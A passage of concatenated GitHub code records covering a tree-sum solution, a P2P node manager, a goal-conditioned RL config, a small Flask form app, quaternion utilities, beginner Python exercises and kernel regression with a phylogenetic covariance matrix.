not root.left and not root.right:\n            return pre\n\n        left = self.sumNumbers(root.left, pre)\n        right = self.sumNumbers(root.right, pre)\n        return left + right\n","repo_name":"cybercoderbot/coding","sub_path":"python/129. Sum Root to Leaf Numbers.py","file_name":"129. Sum Root to Leaf Numbers.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24583004705","text":"\nfrom .data import Data\n\nfrom presentation.view import FileServer, SyncServer\n\nfrom .urls import *\nfrom .utils import *\nfrom .views import *\n\nimport logging\n\n\nlogging.basicConfig(filename=\"application/logs/p2p.log\",\n                            filemode='a',\n                            format='%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s',\n                            datefmt='%H:%M:%S',\n                            level=logging.DEBUG)\n\n\n\nclass Manager:\n\n\t@staticmethod\n\tdef start():\n\n\n\t\tfile_server = FileServer(host='0.0.0.0')\n\t\tsync_server = SyncServer(host='0.0.0.0')\n\n\t\tport1 = file_server.start()\n\t\tport2 = sync_server.start()\n\t\twith open(Data.node_config, 'w') as outfile:\n\t\t\tjson.dump({\"nodes\":{\"0.0.0.0\":{\"ip\":\"0.0.0.0\",\"port\":port1,\"active\":False}}},outfile)\n\n\t\tprint(\"listening on 0.0.0.0:%s TCP\"%port1)\n\t\tprint(\"listening on 0.0.0.0:%s UDP\"%port2)\n\t\tlogging.info(\"listening on 0.0.0.0:%s TCP\"%port1)\n\t\tlogging.info(\"listening on 0.0.0.0:%s UDP\"%port2)\n\t\twhile True:\n\t\t\tprint(\">\",end=\"\")\n\t\t\tcommand = input()\n\t\t\tif \"-l\" in command:\n\t\t\t\tData.cluster_list = command[command.index(\"-l\")+1]\n\t\t\tif \"-d\" in command:\n\t\t\t\tData.directory = command[command.index(\"-d\")+1]\n\t\t\tif command == \"list\":\n\t\t\t\tprint(get_cluster())\n\n\t\t\telif len(command.split()) > 1 and command.split()[0] == \"get\":\n\t\t\t\trequest_to_all(command.split()[1])\n\n","repo_name":"bateternal/p2p","sub_path":"application/node/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"40727214469","text":"import os\nimport numpy as np\nimport gym\n\nfrom wgcsl.common import logger\nfrom wgcsl.algo.wgcsl import WGCSL\nfrom wgcsl.algo.supervised_sampler import make_sample_transitions, make_random_sample\nfrom wgcsl.common.monitor import Monitor\nfrom wgcsl.envs.multi_world_wrapper import PointGoalWrapper, SawyerGoalWrapper, ReacherGoalWrapper, FetchGoalWrapper\n\n# offline parameters\nDEFAULT_ENV_PARAMS = {\n    'Point2DLargeEnv-v1':{\n         'n_cycles':5,\n         'n_batches': 1,\n         'baw_delta': 0.15,\n    },\n    'Point2D-FourRoom-v1':{\n        'n_cycles':5,\n        'n_batches': 1,\n        'baw_delta': 0.15,\n    },\n    'SawyerReachXYZEnv-v1':{\n        'n_cycles':5,\n        'n_batches': 5,   \n        'baw_delta': 0.15,\n        'num_epoch':100, \n    },\n    'FetchReach-v1': {\n        'n_cycles': 5,  \n        'n_batches': 5, \n        'baw_delta': 0.15,\n        'num_epoch':100, \n    },\n    'Reacher-v2': {\n        'n_cycles': 10,  \n        'n_batches': 10,\n        'baw_delta': 0.15,\n        'num_epoch':200, \n    },\n    'SawyerDoor-v0':{\n        'n_cycles': 10,  \n        'n_batches': 10, \n        'baw_delta': 0.15,\n        'num_epoch':200, \n        },\n    'FetchPush-v1':{\n        'batch_size': 512,\n        'n_cycles': 20,  \n        'n_batches': 20, \n        'baw_delta': 0.01,\n        'num_epoch':100, \n        },\n    'FetchSlide-v1':{\n        'batch_size': 512, \n        'n_cycles': 20,  \n        'n_batches': 20, \n        'baw_delta': 0.01,\n        'num_epoch':100, \n        },\n    'FetchPickAndPlace-v1':{\n        'batch_size': 512,\n        'n_cycles': 20,\n        'n_batches': 20,\n        'baw_delta': 0.01,\n        'num_epoch':100,\n        },\n    'HandReach-v0':{\n        'batch_size': 512,\n        'n_cycles': 20,  \n        'n_batches': 20, \n        'baw_delta': 0.01,\n        'num_epoch':100, \n        }\n}\n\n\nDEFAULT_PARAMS = {  \n    # env\n    'max_u': 1.,  # max absolute value of actions on each coordinate\n    'layers': 3,  # number of layers in the critic/actor networks\n    'hidden': 256,  # number of neurons in each hidden layers\n    'network_class': 'wgcsl.algo.actor_critic:ActorCritic',\n    'Q_lr': 5e-4,  # critic learning rate\n    'pi_lr': 5e-4,  # actor learning rate\n    'buffer_size': int(1E6),  # for experience replay\n    'polyak': 0.9,  #polyak averaging coefficient\n    'action_l2': 1.0,  # quadratic penalty on actions (before rescaling by max_u)\n    'clip_obs': 200.,\n    'scope': 'wgcsl',\n    'relative_goals': False,\n    # training\n    'num_epoch':50, \n    'n_cycles': 10,  # per epoch\n    'rollout_batch_size': 1,  # per mpi thread\n    'n_batches': 4,  # training batches per cycle\n    'batch_size': 128,  # per mpi thread, measured in transitions and reduced to even multiple of chunk_length.\n    'n_test_rollouts': 100,  # number of test rollouts per epoch, each consists of rollout_batch_size rollouts\n    'test_with_polyak': False,  # run test episodes with the target network\n    # exploration, not used in the offline setting\n    'random_eps': 0.3,  # percentage of time a random action is taken\n    'noise_eps': 0.2,  # std of gaussian noise added to not-completely-random actions as a percentage of max_u\n    # random init episode, not used int the offline setting\n    'random_init':20,\n\n    # goal relabeling\n    'replay_strategy': 'future',  \n    'replay_k': 4,  # number of additional goals used for replay\n    # normalization\n    'norm_eps': 1e-4,  # epsilon used for observation normalization\n    'norm_clip': 5,  # normalized observations are cropped to this values\n    # use supervised\n    'use_supervised': False,\n    # best-advantage weight\n    'baw_delta': 0.1,\n    'baw_max': 80,\n\n    # if do not use her\n    'no_relabel':False    # used for no relabel\n}\n\n\nCACHED_ENVS = {}\n\n\ndef cached_make_env(make_env):\n    \"\"\"\n    Only creates a new environment from the provided function if one has not yet already been\n    created. This is useful here because we need to infer certain properties of the env, e.g.\n    its observation and action spaces, without any intend of actually using it.\n    \"\"\"\n    if make_env not in CACHED_ENVS:\n        env = make_env()\n        CACHED_ENVS[make_env] = env\n    return CACHED_ENVS[make_env]\n\ndef prepare_mode(kwargs):\n    if 'mode' in kwargs.keys():\n        mode = kwargs['mode']\n        if mode == 'supervised':\n            kwargs['use_supervised'] = True\n        else:\n            kwargs['use_supervised'] = False\n    else:\n        kwargs['use_supervised'] = False\n    return kwargs\n\n\ndef prepare_params(kwargs):\n    # default max episode steps\n    kwargs = prepare_mode(kwargs)\n    default_max_episode_steps = 50\n    # WGCSL params\n    wgcsl_params = dict()\n    env_name = kwargs['env_name']\n    def make_env(subrank=None):\n        try:\n            env = gym.make(env_name, rewrad_type='sparse') \n        except:\n            logger.log('Can not make sparse reward environment')\n            env = gym.make(env_name)\n        # add wrapper for multiworld environment\n        if env_name.startswith('Fetch'):\n            env._max_episode_steps = 50\n            env = FetchGoalWrapper(env)\n        elif env_name.startswith('HandManipulate'):\n            env._max_episode_steps = 100\n        elif env_name.startswith('Point'):\n            env = PointGoalWrapper(env)\n            env.env._max_episode_steps = 50\n        elif env_name.startswith('Sawyer'): \n            env = SawyerGoalWrapper(env)\n        elif env_name.startswith('Reacher'):\n            env = ReacherGoalWrapper(env)\n\n        if (subrank is not None and logger.get_dir() is not None):\n            try:\n                from mpi4py import MPI\n                mpi_rank = MPI.COMM_WORLD.Get_rank()\n            except ImportError:\n                MPI = None\n                mpi_rank = 0\n                logger.warn('Running with a single MPI process. This should work, but the results may differ from the ones publshed in Plappert et al.')\n\n            if hasattr(env, '_max_episode_steps'):\n                max_episode_steps = env._max_episode_steps\n            else:\n                max_episode_steps = default_max_episode_steps # otherwise use defaulit max episode steps\n            env =  Monitor(env,\n                           os.path.join(logger.get_dir(), str(mpi_rank) + '.' + str(subrank)),\n                           allow_early_resets=True)\n            # hack to re-expose _max_episode_steps (ideally should replace reliance on it downstream)\n            env = gym.wrappers.TimeLimit(env, max_episode_steps=max_episode_steps)\n        return env\n\n    kwargs['make_env'] = make_env\n    tmp_env = cached_make_env(kwargs['make_env'])\n    if hasattr(tmp_env, '_max_episode_steps'):\n        kwargs['T'] = tmp_env._max_episode_steps\n    else:\n        kwargs['T'] = default_max_episode_steps\n\n    kwargs['max_u'] = np.array(kwargs['max_u']) if isinstance(kwargs['max_u'], list) else kwargs['max_u']\n    kwargs['gamma'] = 1. - 1. / kwargs['T']\n    if 'lr' in kwargs:\n        kwargs['pi_lr'] = kwargs['lr']\n        kwargs['Q_lr'] = kwargs['lr']\n        del kwargs['lr']\n    for name in ['buffer_size', 'hidden', 'layers','network_class','polyak','batch_size', \n                 'Q_lr', 'pi_lr', 'norm_eps', 'norm_clip', 'max_u','action_l2', 'clip_obs', \n                 'scope', 'relative_goals', 'use_supervised']:\n        wgcsl_params[name] = kwargs[name]\n        kwargs['_' + name] = kwargs[name]\n        del kwargs[name]\n    \n    kwargs['wgcsl_params'] = wgcsl_params\n    return kwargs\n\n\ndef log_params(params, logger=logger):\n    for key in sorted(params.keys()):\n        logger.info('{}: {}'.format(key, params[key]))\n\n\ndef configure_her(params):\n    env = cached_make_env(params['make_env'])\n    env.reset()\n\n    def reward_fun(ag_2, g, info):  # vectorized\n        return env.compute_reward(achieved_goal=ag_2, desired_goal=g, info=info)\n\n    # Prepare configuration for HER.\n    her_params = {\n        'reward_fun': reward_fun,\n        'no_relabel': params['no_relabel']\n    }\n    for name in ['replay_strategy', 'replay_k']:\n        her_params[name] = params[name]\n        params['_' + name] = her_params[name]\n        del params[name]\n\n    sample_supervised, her_sampler = make_sample_transitions(**her_params)\n    random_sampler = make_random_sample(her_params['reward_fun'])\n    samplers = {\n        'random': random_sampler,\n        'her': her_sampler,\n        'supervised':sample_supervised\n    }\n    return samplers, reward_fun\n\ndef simple_goal_subtract(a, b):\n    assert a.shape == b.shape\n    return a - b\n\ndef configure_wgcsl(dims, params, reuse=False, use_mpi=True, clip_return=True, offline_train=False):\n    samplers, reward_fun = configure_her(params)\n    # Extract relevant parameters.\n    rollout_batch_size = params['rollout_batch_size']\n    wgcsl_params = params['wgcsl_params']\n\n    input_dims = dims.copy()\n    # WGCSL agent\n    env = cached_make_env(params['make_env'])\n    env.reset()\n    wgcsl_params.update({'input_dims': input_dims,  # agent takes an input observations\n                        'T': params['T'],\n                        'clip_pos_returns': True,  # clip positive returns\n                        'clip_return': (1. / (1. - params['gamma'])) if clip_return else np.inf,  # max abs of return \n                        'rollout_batch_size': rollout_batch_size,\n                        'subtract_goals': simple_goal_subtract,\n                        'sample_transitions': samplers['her'],\n                        'random_sampler':samplers['random'],\n                        'supervised_sampler':samplers['supervised'],\n                        'gamma': params['gamma'],\n                        'su_method': params['su_method'],\n                        'baw_delta': params['baw_delta'],\n                        'baw_max': params['baw_max'],\n                        })\n    wgcsl_params['info'] = {\n        'env_name': params['env_name'],\n        'reward_fun':reward_fun\n    } \n    policy = WGCSL(reuse=reuse, **wgcsl_params, use_mpi=use_mpi, offline_train=offline_train)  \n    return policy\n\n\ndef configure_dims(params):\n    env = cached_make_env(params['make_env'])\n    env.reset()\n    obs, _, _, info = env.step(env.action_space.sample())\n    dims = {\n        'o': obs['observation'].shape[0],\n        'u': env.action_space.shape[0],\n        'g': obs['desired_goal'].shape[0],\n    }\n    return dims\n","repo_name":"YangRui2015/AWGCSL","sub_path":"wgcsl/algo/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":10288,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"47"}
{"seq_id":"12126405483","text":"from flask import Flask, render_template, session, redirect, url_for, flash\nfrom flask_wtf import FlaskForm\nfrom wtforms import (StringField, BooleanField, validators,\n                     RadioField, TextAreaField, SubmitField)\n\napp = Flask(__name__)\n\napp.config[\"SECRET_KEY\"] = \"mykey\"\n\n\nclass Form(FlaskForm):\n    name = StringField(\"Enter Name\", [validators.DataRequired()])\n\n    submit = SubmitField(\"submit\")\n\n\n@app.route(\"/\", methods=[\"POST\", \"GET\"])\ndef home():\n    form = Form()\n    if form.validate_on_submit():\n        session[\"name\"] = form.name.data\n        flash(\"thank you! {}\".format(session[\"name\"]))\n\n        return redirect(url_for(\"home\"))\n    return render_template(\"home.html\", form=form)\n\n\n@app.route(\"/thankyou\", methods=[\"POST\", \"GET\"])\ndef thankyou():\n    return render_template(\"thankyou.html\")\n\n\napp.run(debug=True)\n","repo_name":"sunny812546/flask-session-redirect-url_for-wtforms-","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37430649063","text":"import numpy as np\n\n\n########################### EULER ANGLES #############################################################\n# Define basic rotations:\n# We use the conventions r = R*r'\n# i.e. a unit rotation defines a rotation from the body fixed coordinates to the world-frame coordinates\n\n\ndef fRx(theta):\n\n    return np.array([[1, 0       , 0           ],\n                      [0, np.cos(theta),-np.sin(theta)],\n                      [0, np.sin(theta), np.cos(theta)]\n                     ])\ndef fRy(theta):\n    return np.array([[np.cos(theta), 0 , np.sin(theta)],\n                      [0            , 1 , 0 ],\n                      [-np.sin(theta), 0 , np.cos(theta)]\n                     ])\n    \ndef fRz(theta):\n    return np.array([[np.cos(theta), -np.sin(theta)  , 0],\n                      [np.sin(theta), np.cos(theta) , 0],\n                      [0            , 0           , 1]\n                    ])\n\n\n################################### QUATERNIONS \n\n\ndef skew(q):\n    return np.array([ [ 0   ,-q[2], q[1] ], \n                      [ q[2], 0   ,-q[0] ],\n                      [-q[1], q[0], 0    ] ])\n\nclass Quaternion(object):\n    def __init__(self,q0,q):\n        '''\n        a quaterion consist of a scalar q0 and a three dimensional vector q\n        '''\n        if (len(q) == 3):\n            self.q0 = float(q0) \n            self.q  = q \n        else:\n            print('.q.shape {0}'.format(q.shape))\n            raise TypeError\n        \n    def __neg__(self):\n        return Quaternion(-self.q0,-self.q)\n    \n    def __add__(self,other):\n        '''\n        q = self\n        p = other\n        q + p = (q0 + p0, qvec + pvec)\n        '''\n\n        if type(other) is Quaternion:\n            return Quaternion(self.q0 + other.q0,self.q+other.q) \n        elif type(other) is list:\n            qlist = []\n            for _,q in enumerate(other):\n                qlist.append(self+q)\n            return qlist\n    \n    def __sub__(self,other):\n        '''\n        q = self\n        p = other\n        q - p = (q0 - p0, qvec - pvec)\n        '''\n        if type(other) is Quaternion:\n            return Quaternion(self.q0 - other.q0, self.q - other.q)\n        elif type(other) is list:\n            qlist = []\n            for _,q in enumerate(other):\n                qlist.append(self-q)\n            return qlist\n\n        \n        \n    def __mul__(self,other):\n        ''' quaternion product (non-commutative):\n            q = self\n            p = other\n            'x' indicates the cross product\n            q*p = (q0*p0 - qvec*pvec, q0*pvec + p0*qvec + qvec x pvec)\n        \n        '''\n\n        if type(other) is Quaternion:\n            v0 = self.q0*other.q0 - self.q.dot(other.q)\n            v  = self.q0*other.q + other.q0*self.q + np.cross(self.q,other.q)\n            return Quaternion(v0,v)\n        elif type(other) is list:\n            qlist = []\n            for _,q in enumerate(other):\n                qlist.append(self*q)\n            return qlist\n\n    \n    def adj(self):\n        '''\n        The adjoint of the quaternion (q0, -qvec)\n        '''\n        return Quaternion(self.q0,-self.q)\n    \n    def norm(self):\n        #return np.sqrt( (self.adjoint() * self).q0 )\n        return np.sqrt(self.q0**2 + self.q.dot(self.q))\n        \n    def Q(self):\n        '''\n        Quaternion matrix\n        '''\n        Q1   = np.hstack(( self.q0, -self.q ) )\n        Q234 = np.hstack( (self.q[:,None] , self.q0*np.eye(3) + skew(self.q) )) \n        Q = np.vstack((Q1,Q234))\n        \n        return Q\n\n    @staticmethod\n    def to_nparray_st(data):\n        if type(data) is Quaternion:\n            return data.to_nparray()\n        else:\n            qarray = np.zeros( (len(data), 4) )\n            for i,q in enumerate(data):\n                qarray[i,:] = q.to_nparray()\n            return qarray\n\n    def to_nparray(self):\n            return np.hstack( ([self.q0],self.q))\n\n    @staticmethod\n    def from_R(R):\n        '''Return (list of) Quaternion from (list of) Rotation Matrix'''\n        if type(R) is list:\n            res = []\n            for Rtmp in R:\n                res.append(Quaternion.from_R(Rtmp))\n            return res\n        else:\n            return get_q_from_R(R)\n\n    @staticmethod\n    def from_nparray(qarray):\n        ''' Return list of Quaternions from an np array\n        qarray: n_data x 4 numpy array in which each column is [q0, q1, q2, q3]\n        '''\n        if qarray.ndim==1:\n            # Single sample:\n            return Quaternion(qarray[0], qarray[1:])\n        else:\n            qlist = []\n            for i in range(qarray.shape[0]):\n                qlist.append(Quaternion(qarray[i,0], qarray[i,1:]))\n            return qlist\n\n\n    def adjQ(self):\n        '''\n        Quaternion matrix\n        '''\n        Q1   = np.hstack(( self.q0, -self.q ) )\n        Q234 = np.hstack( (self.q[:,None] , self.q0*np.eye(3) - skew(self.q) )) \n        Q = np.vstack((Q1,Q234))\n        \n        return Q\n    \n    \n    def normalized(self):\n        norm = self.norm()\n        return Quaternion(self.q0/norm, self.q/norm)\n    \n    \n    def i(self):\n        ''' Reciprocal (inverse) of a Quaternion'''\n        qbar = self.adj()\n        norm2 = self.norm()**2\n        return Quaternion(qbar.q0/norm2, qbar.q/norm2)\n    \n    \n    def R(self):\n        ''' From Peter Corke's Matlab robotics toolbox'''\n        s = self.q0\n        x = self.q[0]\n        y = self.q[1]\n        z = self.q[2]\n\n        R = np.array([\n            [1-2*(y**2+z**2), 2*(x*y-s*z)    , 2*(x*z+s*y)],\n            [2*(x*y+s*z)    , 1-2*(x**2+z**2), 2*(y*z-s*x)],\n            [2*(x*z-s*y)    , 2*(y*z+s*x)    , 1-2*(x**2+y**2)]\n            ])\n        return R\n    \n    def axis_angle(self):\n        return get_axisangle(self.to_nparray())\n    \n    def __str__(self):\n        return \"Q({0:.2f}, {1})\".format(self.q0,self.q)\n\n    def __repr__(self):\n        return self.__str__()\n\n############## Rotational Conversions:\n\ndef quatToEulerXYZ(q):\n    q = q.normalized()\n    R = q.R();\n    \n    # NASA paper:\n    th1 = np.arctan2(-R[1,2],R[2,2])\n    th2 = np.arctan2(R[0,2],np.sqrt(1-R[0,2]**2))\n    th3 = np.arctan2(-R[0,1],R[0,0])\n    \n    \n    return np.array([th1,th2,th3])\n\n\ndef get_q_from_R(R):\n    ''' From Peter Corke's Robotics toolbox'''\n\n    qs = min(np.sqrt( np.trace(R) +1)/2.0,1.0)\n    kx = R[2,1] - R[1,2]   # Oz - Ay\n    ky = R[0,2] - R[2,0]   # Ax - Nz\n    kz = R[1,0] - R[0,1]   # Ny - Ox\n\n    if (R[0,0] >= R[1,1]) and (R[0,0] >= R[2,2]) :\n        kx1 = R[0,0] - R[1,1] - R[2,2] + 1 # Nx - Oy - Az + 1\n        ky1 = R[1,0] + R[0,1]              # Ny + Ox\n        kz1 = R[2,0] + R[0,2]              # Nz + Ax\n        add = (kx >= 0)\n    elif (R[1,1] >= R[2,2]):\n        kx1 = R[1,0] + R[0,1]              # Ny + Ox\n        ky1 = R[1,1] - R[0,0] - R[2,2] + 1 # Oy - Nx - Az + 1\n        kz1 = R[2,1] + R[1,2]              # Oz + Ay\n        add = (ky >= 0)\n    else:\n        kx1 = R[2,0] + R[0,2]              # Nz + Ax\n        ky1 = R[2,1] + R[1,2]              # Oz + Ay\n        kz1 = R[2,2] - R[0,0] - R[1,1] + 1 # Az - Nx - Oy + 1\n        add = (kz >= 0)\n\n    if add:\n        kx = kx + kx1\n        ky = ky + ky1\n        kz = kz + kz1\n    else:\n        kx = kx - kx1\n        ky = ky - ky1\n        kz = kz - kz1\n\n    nm = np.linalg.norm(np.array([kx, ky, kz]))\n    if nm == 0:\n        q = Quaternion(1, np.zeros(3))\n    else:\n        s = np.sqrt(1 - qs**2) / nm\n        qv = s*np.array([kx, ky, kz])\n        q = Quaternion(qs, qv)\n\n    return q\n\n\n#### Axis-Angle Representation:\ndef get_axisangle(d, e=None, reg=1e-6):\n    ''' Compute axis angle of axis de w.r.t e\n        d: Vector [1d ndarray]\n        e: Vector [1d ndarray]\n        \n        Computation:\n        ax    = (e x d) / (|| e x d ||)\n        angle = arccos( d * e ) \n\n        * is in product\n        x is the cross product\n\n        if no e is provided, we adopt: e = [0, 0, 1]^T\n\n    '''\n\n    if e is None:\n        e = np.array([0,0,1])\n        norm = np.sqrt(d[0]**2 + d[1]**2)\n        if norm < reg:\n            return (e,0)\n        else:\n            vec = np.array( [-d[1], d[0], 0])\n            return vec/norm, np.arccos(d[2])\n    else:\n        # Compute cross product between identity and d\n        exd = skew(e).dot(d)\n        norm = np.linalg.norm(exd)\n\n        # Check norm:        \n        if norm < reg:\n            # smaller than reguralization, assume no rotation:\n            ax = e\n            angle = 0\n        else:\n            # Rotation is present:\n            ax = exd/norm\n            angle = np.arccos( (d*e).sum( axis=(d.ndim-1) ) )\n        return (ax, angle)\n\n\ndef R_from_axis_angle(ax, angle):\n    ''' Get Rotation matrix from axis angle representation using Rodriguez formula\n        ax   : The unit axis defining the axis of rotation [ 1d ndarray]\n        angle: Angle of rotation [float]\n\n        Return: \n        R(ax, angle) = I + sin(angle) x ax + (1 - cos(angle) ) x ax^2\n\n        where x is the cross product\n    '''\n\n    utilde = skew(ax)\n    return np.eye(3) + np.sin(angle)*utilde + (1 - np.cos(angle))*utilde.dot(utilde)\n","repo_name":"vonHartz/riepybdlib","sub_path":"riepybdlib/angular_representations.py","file_name":"angular_representations.py","file_ext":"py","file_size_in_byte":9020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18619847676","text":"'ModuleNotFoundError'\ndef i_e(num1):\n    try:        \n        import mat\n        total=mat.sqrt(num1)\n        print(total)\n    except ModuleNotFoundError:\n        print('El modulo que importaste no pudo ser importado o tal vez no existe')\n    except:\n        print('El programa sufre de otro ')    \n    else:\n        print(total)\ni_e(2)","repo_name":"JeimmyGutierrezSuarez/2560664","sub_path":"Excepciones/7moEjercicio.py","file_name":"7moEjercicio.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"39508273188","text":"#!/Users/maxiaoyu/Desktop/python/evns /py3/bin/python3\n#encoding:utf-8\n'''\n@File    :   10.py\n@Time    :   2020/03/12 15:34:48\n@Author  :   DesignerA \n@Version :   1.0\n@Contact :   DesignerA@qq.com\n@WebSite :   www.cnblogs.com/DesignerA\n'''\n# Start typing your code from here\n\n#给定一段英文文本，统计每个单词出现的次数；打印输出，按照词频从高到低输出：\n#提示：可以用字典来统计：key 是单词，value 是单词出现次数\n#先创建一个字典，然后遍历刚刚取出的单词列表，接着做一个判断： 如果字典中 key 已经出现了这个单词\n#那么它对应的value，也就是出现次数就+1；如果这个单词没出现过，就直接插入这个单词及value为1到字典中\nlist1=list(input('请输入英文文本:').split(' '))\nprint(list1)\ndict1={}\nlength=len(list1)\nprint(length)\ni=0\nwhile(i<length):\n    str1=list1[i]\n    if(str1 not in dict1.keys()):\n        dict1[str1]=1\n    elif(str1 in dict1.keys()):\n        dict1[str1]+=1\n    i+=1\nprint(dict1)\nprint(sorted(dict1.items(),key = lambda x:x[1],reverse = True))\n","repo_name":"maxiaoyu0727/python","sub_path":"pythonprojects/homework1/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"410161596","text":"\nimport random\nimport numpy as np\n\nrandom.seed(1345)\n\ncov_file = './vcv_betweenAreas.csv'\nspps_names = np.loadtxt('./spps_names.csv', dtype=str).tolist()\n\ndata = np.loadtxt('./betwee_areas_Xy.csv', delimiter=',')\n# n,p = data.shape\n# data = np.c_[np.ones(n),data]\nX0,y0 = data[:,:-1], data[:,-1]\n\nn,p = X0.shape\nnum_test = round(0.4*n)\n\n\ndef P_mat(spps, cov_file):\n\n    raw_data = []\n    row_spps = []\n    with open(cov_file, 'r') as f:\n        for i in f.readlines()[1:]:\n            line = i.strip().split(',')\n            row_spps.append(line[0].replace('\"', ''))\n            raw_data.append( line[1:] )\n\n    vcv = np.array(raw_data).astype(float)\n    idxs = [row_spps.index(i) for i in spps]\n\n    row_aug = vcv[idxs,:]\n    vcv_aug = row_aug[:,idxs]\n\n    Q,L,Qt = np.linalg.svd(vcv_aug)\n    # inverse of the \n    # square root of lambda\n    LH = np.diag( np.sqrt( 1/abs(L) ) )\n\n    return Q.dot(LH).dot(Qt)\n\ndef rmse(K, alpha, Y):\n    return np.sqrt( np.mean( (K.dot(alpha) - Y)**2 ) )\n\ndef distance_matrix(a, b):\n    \"\"\"\n    l2 norm squared matrix\n    \"\"\"\n    return np.linalg.norm(a[:, None, :] - b[None, :, :], axis=-1)**2\n\ndef RBF_kernel(a, b, gamma):\n    \"\"\"\n    Radial Basis Function\n    \"\"\"\n    # import sklearn.metrics    \n    tmp_rbf = -gamma*distance_matrix(a, b)\n    np.exp(tmp_rbf, tmp_rbf) # RBF kernel. Inplace exponentiation\n    return tmp_rbf\n    # return sklearn.metrics.pairwise.rbf_kernel(a, b, gamma=gamma)\n\ndef linear_kernel(a, b):\n    \"\"\"\n    Linear Kernel\n    \"\"\"\n    return a.dot(b.T)\n\ndef opt_alpha(K, y, reg_lam = None):\n    # Y = y\n    # X = X\n    # m = None\n    K_Idx = K + reg_lam * np.diag( np.ones( K.shape[0] ) )\n    return np.linalg.inv( K_Idx ).dot( y )\n    # return np.linalg.pinv( K_Idx ).dot( y )\n\ndef gls_error(X, y, pseudo_inv = False):\n    if pseudo_inv:\n        B_gls = np.linalg.pinv(X.T.dot(X)).dot(X.T.dot(y))\n    else:\n        B_gls = np.linalg.inv(X.T.dot(X)).dot(X.T.dot(y))\n\n    return rmse(X, B_gls, y)\n\ndef standard_scale(u):\n    return (u - np.mean(u, axis=0))/np.std( u )\n\nP = P_mat(spps_names, cov_file)\nX = standard_scale( P.dot(X0) )\ny = standard_scale( P.dot(y0) )\n\nreg_lam = 0.00005\nreg_gamma = 1e-5\n\nK_linear = linear_kernel( X, X )\nalpha_linear = opt_alpha(K_linear, y, reg_lam)\n\nK_rbf = RBF_kernel(X, X, gamma = reg_gamma)\nalpha_rbf = opt_alpha(K_rbf, y, reg_lam)\n\nerror_rbf = rmse(K_rbf, alpha_rbf, y)\nerror_lk = rmse(K_linear, alpha_linear, y)\nerror_gls = gls_error(X, y)\n\nprint('RBF kernel = %s' % round(error_rbf, 5))\nprint('linear kernel = %s' % round(error_lk, 5))\nprint('GLS = %s' % round(error_gls, 5))\n\ndef cv_hype(X, y, max_iter, \n              reg_lambdas, \n              kernel_type = 'linear', \n              gamma = None):\n\n    n,p = X.shape\n\n    if not gamma:\n        gamma = 1/2*p\n\n    # kernel_func = linear_kernel\n    # max_iter = 15\n    # reg_lambdas = np.linspace( 0.001, 0.025, 100, dtype=float )\n\n    training_errors = []\n    testing_errors = []\n\n    for reg_lam in reg_lambdas:\n\n        tmp_train = []\n        tmp_test = []\n\n        for _ in range(max_iter):\n\n            test_idx  = random.sample(range(n), k = num_test)\n            train_idx = list( set(range(n)) - set(test_idx) )\n\n            X_train, X_test = X[train_idx,:], X[test_idx,:]\n            y_train, y_test = y[train_idx]  , y[test_idx]\n\n            if kernel_type == 'rbf':\n                K_train = RBF_kernel( X_train, X_train, gamma )\n                K_test = RBF_kernel(  X_test,  X_train, gamma )\n            \n\n            elif kernel_type == 'linear':\n                K_train = linear_kernel( X_train, X_train)\n                K_test  = linear_kernel( X_test, X_train )\n\n            else:\n                try:\n                    gls_err_train = gls_error(X_train, y_train)\n                    gls_err_test  = gls_error(X_test, y_test)\n\n                except np.linalg.LinAlgError:\n                    gls_err_train = gls_error(X_train, y_train, pseudo_inv=True)\n                    gls_err_test  = gls_error(X_test, y_test, pseudo_inv=True)\n\n                tmp_train.append( gls_err_train )\n                tmp_test.append( gls_err_test )\n                continue\n\n            alpha_trained = opt_alpha(K_train, y_train, reg_lam)\n\n            tmp_train.append( rmse(K_train, alpha_trained, y_train) )\n            tmp_test.append( rmse(K_test , alpha_trained, y_test) )\n\n        training_errors.append( np.mean(tmp_train) )\n        testing_errors.append( np.mean(tmp_test) )\n\n    return training_errors, testing_errors\n\ndef cv_errors(X, y, max_iter, \n              reg_lambda, \n              kernel_type = 'linear', \n              gamma = None):\n\n    n,p = X.shape\n\n    if not gamma:\n        gamma = 1/2*p\n\n    # kernel_func = linear_kernel\n    # max_iter = 15\n    # reg_lambdas = np.linspace( 0.001, 0.025, 100, dtype=float )\n\n    training_errors = []\n    testing_errors = []\n\n    for _ in range(max_iter):\n\n        test_idx  = random.sample(range(n), k = num_test)\n        train_idx = list( set(range(n)) - set(test_idx) )\n\n        X_train, X_test = X[train_idx,:], X[test_idx,:]\n        y_train, y_test = y[train_idx]  , y[test_idx]\n\n        if kernel_type == 'rbf':\n            K_train = RBF_kernel( X_train, X_train, gamma )\n            K_test = RBF_kernel(  X_test,  X_train, gamma )\n        \n\n        elif kernel_type == 'linear':\n            K_train = linear_kernel( X_train, X_train)\n            K_test  = linear_kernel( X_test, X_train )\n\n        else:\n            try:\n                gls_err_train = gls_error(X_train, y_train)\n                gls_err_test  = gls_error(X_test, y_test)\n\n            except np.linalg.LinAlgError:\n                gls_err_train = gls_error(X_train, y_train, pseudo_inv=True)\n                gls_err_test  = gls_error(X_test, y_test, pseudo_inv=True)\n\n            training_errors.append( gls_err_train )\n            testing_errors.append( gls_err_test )\n            continue\n\n        alpha_trained = opt_alpha(K_train, y_train, reg_lam)\n\n        training_errors.append( rmse(K_train, alpha_trained, y_train) )\n        testing_errors.append( rmse(K_test , alpha_trained, y_test) )\n\n    return training_errors, testing_errors\n\n\n\nmax_iter 